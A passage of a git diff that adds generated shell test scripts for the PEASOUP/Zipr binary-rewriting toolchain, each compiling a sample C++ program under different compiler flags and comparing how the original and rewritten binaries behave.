+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-O3.no_pic.-fomit-frame-pointer.-g.-m32.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-O3.no_pic.-fomit-frame-pointer.-g.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..131d228c2c2ea32ec468bad661ce1ecc86e93fda
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-O3.no_pic.-fomit-frame-pointer.-g.-m32.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="  -O3   -fomit-frame-pointer -g -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="  -O3   -fomit-frame-pointer -g -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-O3.no_pic.-fomit-frame-pointer.-g.-m64.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-O3.no_pic.-fomit-frame-pointer.-g.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..741d02e1ca44038e098bc345a57750bd0c9bb9ef
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-O3.no_pic.-fomit-frame-pointer.-g.-m64.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="  -O3   -fomit-frame-pointer -g -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="  -O3   -fomit-frame-pointer -g -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-O3.no_pic.-fomit-frame-pointer.no_debug.-m32.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-O3.no_pic.-fomit-frame-pointer.no_debug.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..263f073f922be4abeaf83378f550ab8fe09e95f2
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-O3.no_pic.-fomit-frame-pointer.no_debug.-m32.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="  -O3   -fomit-frame-pointer   -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="  -O3   -fomit-frame-pointer   -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-O3.no_pic.-fomit-frame-pointer.no_debug.-m64.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-O3.no_pic.-fomit-frame-pointer.no_debug.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..89ea6f0c1c3c28372bf00ac6189fffb1055d3145
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-O3.no_pic.-fomit-frame-pointer.no_debug.-m64.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="  -O3   -fomit-frame-pointer   -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="  -O3   -fomit-frame-pointer   -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-O3.no_pic.no_omit-fp.-g.-m32.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-O3.no_pic.no_omit-fp.-g.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..93d20d8e88553cc0f1213324fff3898df0e0927b
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-O3.no_pic.no_omit-fp.-g.-m32.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="  -O3     -g -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="  -O3     -g -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-O3.no_pic.no_omit-fp.-g.-m64.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-O3.no_pic.no_omit-fp.-g.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..62897eba51d48f8432dd0da9e6cd7912589e2187
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-O3.no_pic.no_omit-fp.-g.-m64.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="  -O3     -g -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="  -O3     -g -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
